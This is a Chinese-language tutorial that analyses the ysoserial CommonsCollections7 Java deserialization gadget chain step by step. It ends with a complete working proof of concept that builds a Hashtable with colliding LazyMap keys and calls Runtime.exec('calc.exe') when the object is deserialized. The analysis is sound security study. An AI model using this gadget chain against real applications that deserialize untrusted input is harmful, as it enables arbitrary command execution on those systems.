简介

CC7 也是利用的Commons Collections 3.1 的利用，看ysoserial里的利用链为入口是HashTable，针对HashTable的反序列化，再通过AbstractMap#equals来调用LazyMap#get

  1. /*
  2.     Payload method chain:
  4.     java.util.Hashtable.readObject
  5.     java.util.Hashtable.reconstitutionPut
  6.     org.apache.commons.collections.map.AbstractMapDecorator.equals
  7.     java.util.AbstractMap.equals
  8.     org.apache.commons.collections.map.LazyMap.get
  9.     org.apache.commons.collections.functors.ChainedTransformer.transform
  10.     org.apache.commons.collections.functors.InvokerTransformer.transform
  11.     java.lang.reflect.Method.invoke
  12.     sun.reflect.DelegatingMethodAccessorImpl.invoke
  13.     sun.reflect.NativeMethodAccessorImpl.invoke
  14.     sun.reflect.NativeMethodAccessorImpl.invoke0
  15.     java.lang.Runtime.exec
  16. */

链路分析

  1. Map innerMap1 = new HashMap();
  2. Map innerMap2 = new HashMap();
  4. Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
  5. lazyMap1.put("yy",1);
  7. Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
  8. lazyMap2.put("zZ", 1);
  11. Hashtable hashtable = new Hashtable();
  13. hashtable.put(lazyMap1, 2);
  14. hashtable.put(lazyMap2, 1);

0x1

CC7 这里有一个知识点，直接看HashTable#put函数，传入的key和value为我们传入的第二个key-value对，在这个函数里，我们可以看到他会判断是否和传入的第一个值是否重复，也就是代码块中第8行到第17行，如果已经存在，就不会再写入hashtable中，如果不存在则会直接写入
在此处可以看到首先会对传入的key（也就是lazymap）进行执行一次hashcode()计算hash值，然后会对比已经存在hashtable的数据的hash是否与我们传入的key.hashCode()是否相等，然后就会调用已存在的lazymap1与传入的lazymap2进行比较

  1. public synchronized V put(K key, V value) {
  2.     // Make sure the value is not null
  3.     if (value == null) {
  4.         throw new NullPointerException();
  5.     }
  7.     // Makes sure the key is not already in the hashtable.
  8.     Entry<?,?> tab[] = table;
  9.     int hash = key.hashCode();
  10.     int index = (hash & 0x7FFFFFFF) % tab.length;
  11.     @SuppressWarnings("unchecked")
  12.     Entry<K,V> entry = (Entry<K,V>)tab[index];
  13.     for(; entry != null ; entry = entry.next) {
  14.         if ((entry.hash == hash) && entry.key.equals(key)) {
  15.             V old = entry.value;
  16.             entry.value = value;
  17.             return old;
  18.         }
  19.     }
  21.     addEntry(hash, key, value, index);
  22.     return null;
  23. }

这里我再补充一下hashCode函数做了什么操作，在下图可以看见，对Key和Value进行Objects.hashCode()之后又做了一次异或，这时就需要保证Objects.hashCode(key1) == Objects.hashCode(key2)，Objects.hashCode(value1) == Objects.hashCode(value2),这样计算出来的hashCode才是相等的，这里我尝试了很多，都没有发现相等的Key，ysoserial的作者给出的 yy 和 zZ hashCode就是相等的
image.png

0x2

然后再看equals 函数，这里可以看到传入的object 为lazymap2，当前的this.map 为第一个传入的lazymap1(因为是他调用的equals方法)，然后再跟进equals

  1. // AbstractMapDecorator.java
  2. public boolean equals(Object object) {
  3.     return object == this ? true : this.map.equals(object);
  4. }

跟进下面代码块第8-24行，这里m为传入的lazymap2，第13行从迭代器里取出来的是已经写入到HashTable里的Entry，然后遍历获取对应的map（因为只有1个，这里就以lazymap1来说明了），获取lazymap1的key以及value，如果value 不为null，这里在22行就存在value.equals(m.get(key))，在这里我们不需要再关注这个equals函数，而是对m.get(key)关注，m为lazymap2，而调用get方法就是我们最终的目的，虽然现在还是在序列化过程中

  1. // AbstractMap
  2. public boolean equals(Object o) {
  3.     if (o == this)
  4.         return true;
  6.     if (!(o instanceof Map))
  7.         return false;
  8.     Map<?,?> m = (Map<?,?>) o;
  9.     if (m.size() != size())
  10.         return false;
  12.     try {
  13.         Iterator<Entry<K,V>> i = entrySet().iterator();
  14.         while (i.hasNext()) {
  15.             Entry<K,V> e = i.next();
  16.             K key = e.getKey();
  17.             V value = e.getValue();
  18.             if (value == null) {
  19.                 if (!(m.get(key)==null && m.containsKey(key)))
  20.                     return false;
  21.             } else {
  22.                 if (!value.equals(m.get(key)))
  23.                     return false;
  24.             }
  25.         }
  26.     } catch (ClassCastException unused) {
  27.         return false;
  28.     } catch (NullPointerException unused) {
  29.         return false;
  30.     }
  32.     return true;
  33. }

在序列化过程中，调用了lazymap的get方法之后，返回了value(Object) ，
image.png
此时lazymap就多了这个value
image.png

0x3

那么在反序列化时，要保证要调用lazymap#get，那么需要保证两个lazymap被hashcode()之后，一定要相等，且调用的是lazymap2#get,那么lazymap2的Transformer factor 就要为执行命令的transformers，也需要将多余的LazyMap删除掉

  1. Transformer[] transformers = new Transformer[]{
  2.     new ConstantTransformer(Runtime.class),
  3.     new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  4.     new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  5.     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  6. };
  8. lazyMap2.remove("yy");
  10. Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
  11. f.setAccessible(true);
  12. f.set(transformerChain, transformers);

POC

完整poc如下

  1. package com.myproject;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.LazyMap;
  9. import java.io.FileInputStream;
  10. import java.io.FileOutputStream;
  11. import java.io.ObjectInputStream;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.reflect.Field;
  14. import java.util.HashMap;
  15. import java.util.Hashtable;
  16. import java.util.Map;
  18. public class TestCC7 {
  19.     public static void main(String[] args) throws Exception {
  20.         Transformer[] fackerTransformer = new Transformer[]{};
  21.         Transformer transformerChain = new ChainedTransformer(fackerTransformer);
  22.         Transformer[] transformers = new Transformer[]{
  23.                 new ConstantTransformer(Runtime.class),
  24.                 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  25.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  26.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
  27.         };
  30.         Map innerMap1 = new HashMap();
  31.         Map innerMap2 = new HashMap();
  33.         Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
  34.         lazyMap1.put("yy",1);
  36.         Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
  37.         lazyMap2.put("zZ", 1);
  40.         Hashtable hashtable = new Hashtable();
  42.         hashtable.put(lazyMap1, 2);
  43.         hashtable.put(lazyMap2, 1);
  45.         Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
  46.         f.setAccessible(true);
  47.         f.set(transformerChain, transformers);
  48.         lazyMap2.remove("yy");
  49.         try {
  50.             FileOutputStream fileOutputStream = new FileOutputStream("cc7.ser");
  51.             ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  52.             objectOutputStream.writeObject(hashtable);
  54.             FileInputStream fileInputStream = new FileInputStream("cc7.ser");
  55.             ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  56.             objectInputStream.readObject();
  58.         } catch (Exception e) {
  59.             e.printStackTrace();
  60.         }
  61.     }
  62. }

调试

直接在LazyMap#get处打上断点，可以清晰看到对应的反序列化堆栈，就和序列化是一样的，最后把lazymap2里多余的键值对删除，并将其Transformer factor更改为cc1的经典transformers，然后再链式调用即可执行命令
image.png
image.png